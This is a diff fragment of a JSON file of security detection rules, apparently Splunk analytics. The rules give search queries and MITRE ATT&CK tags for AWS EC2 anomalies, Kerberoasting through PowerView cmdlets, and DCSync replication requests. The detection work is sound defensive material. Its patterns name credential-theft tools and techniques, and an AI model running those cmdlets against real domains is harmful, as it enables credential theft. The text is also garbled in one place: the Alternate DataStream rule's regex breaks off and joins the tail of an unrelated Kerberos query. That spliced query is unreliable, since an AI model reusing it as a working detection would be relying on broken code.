`abnormally_high_aws_instances_launched_by_user___mltk_filter` | bucket span=10m _time | stats count as instances_launched by _time src_user | apply ec2_excessive_runinstances_v1 | rename \"IsOutlier(instances_launched)\" as isOutlier | where isOutlier=1", - "tags": { - "analytic_story": [ - "AWS Cryptomining", - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Abnormally High AWS Instances Terminated by User", - "description": "This search looks for AWS CloudTrail events where an abnormally high number of instances were successfully terminated by a user in a 10-minute window. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` eventName=TerminateInstances errorCode=success | bucket span=10m _time | stats count AS instances_terminated by _time userName | eventstats avg(instances_terminated) as total_terminations_avg, stdev(instances_terminated) as total_terminations_stdev | eval threshold_value = 4 | eval isOutlier=if(instances_terminated > total_terminations_avg+(total_terminations_stdev * threshold_value), 1, 0) | search isOutlier=1 AND _time >= relative_time(now(), \"-10m@m\")| eval num_standard_deviations_away = round(abs(instances_terminated - total_terminations_avg) / total_terminations_stdev, 2) |table _time, userName, instances_terminated, num_standard_deviations_away, total_terminations_avg, total_terminations_stdev | `abnormally_high_aws_instances_terminated_by_user_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Abnormally High AWS Instances Terminated by User - MLTK", - "description": "This search looks for AWS CloudTrail events where a user successfully terminates an abnormally high number of instances. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` eventName=TerminateInstances errorCode=success `abnormally_high_aws_instances_terminated_by_user___mltk_filter` | bucket span=10m _time | stats count as instances_terminated by _time src_user | apply ec2_excessive_terminateinstances_v1 | rename \"IsOutlier(instances_terminated)\" as isOutlier | where isOutlier=1", - "tags": { - "analytic_story": [ - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Detect AWS API Activities From Unapproved Accounts", - "description": "This search looks for successful AWS CloudTrail activity by user accounts that are not listed in the identity table or `aws_service_accounts.csv`. It returns event names and count, as well as the first and last time a specific user or service is detected, grouped by users. Deprecated because managing this list can be quite hard.", - "search": "`cloudtrail` errorCode=success | rename userName as identity | search NOT [| inputlookup identity_lookup_expanded | fields identity] | search NOT [| inputlookup aws_service_accounts | fields identity] | rename identity as user | stats count min(_time) as firstTime max(_time) as lastTime values(eventName) as eventName by user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_aws_api_activities_from_unapproved_accounts_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Detect new API calls from user roles", - "description": "This search detects new API calls that have either never been seen before or that have not been seen in the previous hour, where the identity type is `AssumedRole`.", - "search": "`cloudtrail` eventType=AwsApiCall errorCode=success userIdentity.type=AssumedRole [search `cloudtrail` eventType=AwsApiCall errorCode=success userIdentity.type=AssumedRole | stats earliest(_time) as earliest latest(_time) as latest by userName eventName | inputlookup append=t previously_seen_api_calls_from_user_roles | stats min(earliest) as earliest, max(latest) as latest by userName eventName | outputlookup previously_seen_api_calls_from_user_roles| eval newApiCallfromUserRole=if(earliest>=relative_time(now(), \"-70m@m\"), 1, 0) | where newApiCallfromUserRole=1 | `security_content_ctime(earliest)` | `security_content_ctime(latest)` | table eventName userName] |rename userName as user| stats values(eventName) earliest(_time) as earliest latest(_time) as latest by user | `security_content_ctime(earliest)` | `security_content_ctime(latest)` | `detect_new_api_calls_from_user_roles_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Detect new user AWS Console Login", - "description": "This search looks for AWS CloudTrail events wherein a console login event by a user was recorded within the last hour, then compares the event to a lookup file of previously seen users (by ARN values) who have logged into the console. The alert is fired if the user has logged into the console for the first time within the last hour. Deprecated now this search is updated to use the Authentication datamodel.", - "search": "`cloudtrail` eventName=ConsoleLogin | rename userIdentity.arn as user | stats earliest(_time) as firstTime latest(_time) as lastTime by user | inputlookup append=t previously_seen_users_console_logins_cloudtrail | stats min(firstTime) as firstTime max(lastTime) as lastTime by user | eval userStatus=if(firstTime >= relative_time(now(), \"-70m@m\"), \"First Time Logging into AWS Console\",\"Previously Seen User\") | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| where userStatus =\"First Time Logging into AWS Console\" | `detect_new_user_aws_console_login_filter`", - "tags": { - "analytic_story": [ - "Suspicious AWS Login Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Detect Spike in AWS API Activity", - "description": "This search will detect users creating spikes of API activity in your AWS environment. It will also update the cache file that factors in the latest data. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` eventType=AwsApiCall [search `cloudtrail` eventType=AwsApiCall | spath output=arn path=userIdentity.arn | stats count as apiCalls by arn | inputlookup api_call_by_user_baseline append=t | fields - latestCount | stats values(*) as * by arn | rename apiCalls as latestCount | eval newAvgApiCalls=avgApiCalls + (latestCount-avgApiCalls)/720 | eval newStdevApiCalls=sqrt(((pow(stdevApiCalls, 2)*719 + (latestCount-newAvgApiCalls)*(latestCount-avgApiCalls))/720)) | eval avgApiCalls=coalesce(newAvgApiCalls, avgApiCalls), stdevApiCalls=coalesce(newStdevApiCalls, stdevApiCalls), numDataPoints=if(isnull(latestCount), numDataPoints, numDataPoints+1) | table arn, latestCount, numDataPoints, avgApiCalls, stdevApiCalls | outputlookup api_call_by_user_baseline | eval dataPointThreshold = 15, deviationThreshold = 3 | eval isSpike=if((latestCount > avgApiCalls+deviationThreshold*stdevApiCalls) AND numDataPoints > dataPointThreshold, 1, 0) | where isSpike=1 | rename arn as userIdentity.arn | table userIdentity.arn] | spath output=user userIdentity.arn | stats values(eventName) as eventName, count as numberOfApiCalls, dc(eventName) as uniqueApisCalled by user | `detect_spike_in_aws_api_activity_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Detect Spike in Security Group Activity", - "description": "This search will detect users creating spikes in API activity related to security groups in your AWS environment. It will also update the cache file that factors in the latest data. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` `security_group_api_calls` [search `cloudtrail` `security_group_api_calls` | spath output=arn path=userIdentity.arn | stats count as apiCalls by arn | inputlookup security_group_activity_baseline append=t | fields - latestCount | stats values(*) as * by arn | rename apiCalls as latestCount | eval newAvgApiCalls=avgApiCalls + (latestCount-avgApiCalls)/720 | eval newStdevApiCalls=sqrt(((pow(stdevApiCalls, 2)*719 + (latestCount-newAvgApiCalls)*(latestCount-avgApiCalls))/720)) | eval avgApiCalls=coalesce(newAvgApiCalls, avgApiCalls), stdevApiCalls=coalesce(newStdevApiCalls, stdevApiCalls), numDataPoints=if(isnull(latestCount), numDataPoints, numDataPoints+1) | table arn, latestCount, numDataPoints, avgApiCalls, stdevApiCalls | outputlookup security_group_activity_baseline | eval dataPointThreshold = 15, deviationThreshold = 3 | eval isSpike=if((latestCount > avgApiCalls+deviationThreshold*stdevApiCalls) AND numDataPoints > dataPointThreshold, 1, 0) | where isSpike=1 | rename arn as userIdentity.arn | table userIdentity.arn] | spath output=user userIdentity.arn | stats values(eventName) as eventNames, count as numberOfApiCalls, dc(eventName) as uniqueApisCalled by user | `detect_spike_in_security_group_activity_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "EC2 Instance Modified With Previously Unseen User", - "description": "This search looks for EC2 instances being modified by users who have not previously modified them. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` `ec2_modification_api_calls` [search `cloudtrail` `ec2_modification_api_calls` errorCode=success | stats earliest(_time) as firstTime latest(_time) as lastTime by userIdentity.arn | rename userIdentity.arn as arn | inputlookup append=t previously_seen_ec2_modifications_by_user | stats min(firstTime) as firstTime, max(lastTime) as lastTime by arn | outputlookup previously_seen_ec2_modifications_by_user | eval newUser=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newUser=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename arn as userIdentity.arn | table userIdentity.arn] | spath output=dest responseElements.instancesSet.items{}.instanceId | spath output=user userIdentity.arn | table _time, user, dest | `ec2_instance_modified_with_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "Unusual AWS EC2 Modifications" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "EC2 Instance Started With Previously Unseen User", - "description": "This search looks for EC2 instances being created by users who have not created them before. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` eventName=RunInstances [search `cloudtrail` eventName=RunInstances errorCode=success | stats earliest(_time) as firstTime latest(_time) as lastTime by userIdentity.arn | rename userIdentity.arn as arn | inputlookup append=t previously_seen_ec2_launches_by_user.csv | stats min(firstTime) as firstTime, max(lastTime) as lastTime by arn | outputlookup previously_seen_ec2_launches_by_user.csv | eval newUser=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newUser=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename arn as userIdentity.arn | table userIdentity.arn] | rename requestParameters.instanceType as instanceType, responseElements.instancesSet.items{}.instanceId as dest, userIdentity.arn as user | table _time, user, dest, instanceType | `ec2_instance_started_with_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "AWS Cryptomining", - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } } ], "external_reference": [ @@ -701095,214 +472283,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Alternate DataStream - Base64 Content", - "description": "The following analytic detects the creation of Alternate Data Streams (ADS) with Base64 content on Windows systems. It leverages Sysmon Event ID 15, which captures file creation events, including the content of named streams. ADS can conceal malicious payloads, making them significant for SOC monitoring. This detection identifies hidden streams that may contain executables, scripts, or configuration data, often used by malware to evade detection. If confirmed malicious, this activity could allow attackers to hide and execute payloads, persist in the environment, or access sensitive information without being easily detected.", - "search": "`sysmon` EventCode=15 NOT Contents IN (\"-\",\"[ZoneTransfer]*\") | regex TargetFilename=\"(? 2 and unique_services >= upperBound, 1, 0) | search isOutlier=1 | `unusual_number_of_kerberos_service_tickets_requested_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PowerView Kerberos Service Ticket Request", - "description": "The following analytic detects the execution of the `Get-DomainSPNTicket` commandlet, part of the PowerView tool, by leveraging PowerShell Script Block Logging (EventCode=4104). This commandlet requests Kerberos service tickets for specified service principal names (SPNs). Monitoring this activity is crucial as it can indicate attempts to perform Kerberoasting, a technique used to extract SPN account passwords via cracking tools like hashcat. If confirmed malicious, this activity could allow attackers to gain unauthorized access to sensitive accounts, potentially leading to privilege escalation and further network compromise.", - "search": "`powershell` EventCode=4104 ScriptBlockText=*Get-DomainSPNTicket* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_kerberos_service_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView commandlets used for requesting SPN service ticket executed on $dest$", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PowerView SPN Discovery", - "description": "The following analytic detects the execution of the `Get-DomainUser` or `Get-NetUser` PowerShell cmdlets with the `-SPN` parameter, indicating the use of PowerView for SPN discovery. It leverages PowerShell Script Block Logging (EventCode=4104) to identify these specific commands. This activity is significant as it suggests an attempt to enumerate domain accounts associated with Service Principal Names (SPNs), a common precursor to Kerberoasting attacks. If confirmed malicious, this could allow an attacker to identify and target accounts for credential theft, potentially leading to unauthorized access and privilege escalation within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText =*Get-NetUser* OR ScriptBlockText=*Get-DomainUser*) ScriptBlockText= *-SPN* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_powerview_spn_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView commandlets used for SPN discovery executed on $dest$", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -703091,300 +473624,77 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "file transfer traffic" - }, - { - "technique_id": "T1003.006", - "x_mitre_is_subtechnique": true, - "technique": "DCSync", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "web traffic" - }, - { - "technique_id": "T1003.006", - "x_mitre_is_subtechnique": true, - "technique": "DCSync", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "remote code execution traffic" - }, - { - "name": "Windows AD Replication Request Initiated by User Account", - "description": "The following analytic detects a user account initiating an Active Directory replication request, indicative of a DCSync attack. It leverages EventCode 4662 from the Windows Security Event Log, focusing on specific object types and replication permissions. This activity is significant because it can allow an attacker with sufficient privileges to request password hashes for any or all users within the domain. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of the entire domain.", - "search": "`wineventlog_security` EventCode=4662 ObjectType IN (\"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}\", \"domainDNS\") AND Properties IN (\"*Replicating Directory Changes All*\", \"*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*\", \"*{9923a32a-3607-11d2-b9be-0000f87a36b2}*\",\"*{1131f6ac-9c07-11d1-f79f-00c04fc2dcd2}*\") AND AccessMask=\"0x100\" AND NOT (SubjectUserSid=\"NT AUT*\" OR SubjectUserSid=\"S-1-5-18\" OR SubjectDomainName=\"Window Manager\" OR SubjectUserName=\"*$\") | stats min(_time) as _time, count by SubjectDomainName, SubjectUserName, Computer, Logon_ID, ObjectName, ObjectServer, ObjectType, OperationType, status | rename SubjectDomainName as Target_Domain, SubjectUserName as user, Logon_ID as TargetLogonId, _time as attack_time | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\"] | table attack_time, AuthenticationPackageName, LogonProcessName, LogonType, TargetUserSid, Target_Domain, user, Computer, TargetLogonId, status, src_ip, src_category, ObjectName, ObjectServer, ObjectType, OperationType | stats min(attack_time) as _time values(TargetUserSid) as TargetUserSid, values(Target_Domain) as Target_Domain, values(user) as user, values(Computer) as Computer, values(status) as status, values(src_category) as src_category, values(src_ip) as src_ip by TargetLogonId | `windows_ad_replication_request_initiated_by_user_account_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Windows Active Directory Replication Request Initiated by User Account $user$ at $src_ip$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } + "target_data_element": "file transfer traffic" }, { - "name": "Windows AD Replication Request Initiated from Unsanctioned Location", - "description": "The following analytic identifies unauthorized Active Directory replication requests initiated from non-domain controller locations. It leverages EventCode 4662 to detect when a computer account with replication permissions creates a handle to domainDNS, filtering out known domain controller IP addresses. This activity is significant as it may indicate a DCSync attack, where an attacker with privileged access can request password hashes for any or all users within the domain. If confirmed malicious, this could lead to unauthorized access to sensitive information and potential full domain compromise.", - "search": "`wineventlog_security` EventCode=4662 ObjectType IN (\"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}\", \"domainDNS\") AND Properties IN (\"*Replicating Directory Changes All*\", \"*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*\", \"*{9923a32a-3607-11d2-b9be-0000f87a36b2}*\",\"*{1131f6ac-9c07-11d1-f79f-00c04fc2dcd2}*\") AND AccessMask=\"0x100\" AND (SubjectUserSid=\"NT AUT*\" OR SubjectUserSid=\"S-1-5-18\" OR SubjectDomainName=\"Window Manager\" OR SubjectUserName=\"*$\") | stats min(_time) as attack_time, count by SubjectDomainName, SubjectUserName, Computer, Logon_ID, ObjectName, ObjectServer, ObjectType, OperationType, status | rename SubjectDomainName as Target_Domain, SubjectUserName as user, Logon_ID as TargetLogonId | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\"] | table attack_time, AuthenticationPackageName, LogonProcessName, LogonType, TargetUserSid, Target_Domain, user, Computer, TargetLogonId, status, src_ip, src_category, ObjectName, ObjectServer, ObjectType, OperationType | stats min(attack_time) as _time, values(TargetUserSid) as TargetUserSid, values(Target_Domain) as Target_Domain, values(user) as user, values(Computer) as Computer, values(status) as status, values(src_category) as src_category, values(src_ip) as src_ip by TargetLogonId | search NOT src_category=\"domain_controller\" | `windows_ad_replication_request_initiated_from_unsanctioned_location_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Windows Active Directory Replication Request Initiated from Unsanctioned Location $src_ip$ by $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } + "technique_id": "T1003.006", + "x_mitre_is_subtechnique": true, + "technique": "DCSync", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "web traffic" }, { - "name": "Windows AD Replication Service Traffic", - "description": "The following analytic identifies unexpected Active Directory replication traffic from non-domain controller sources. It leverages data from the Network Traffic datamodel, specifically looking for applications related to AD replication. This activity is significant because AD replication traffic should typically only occur 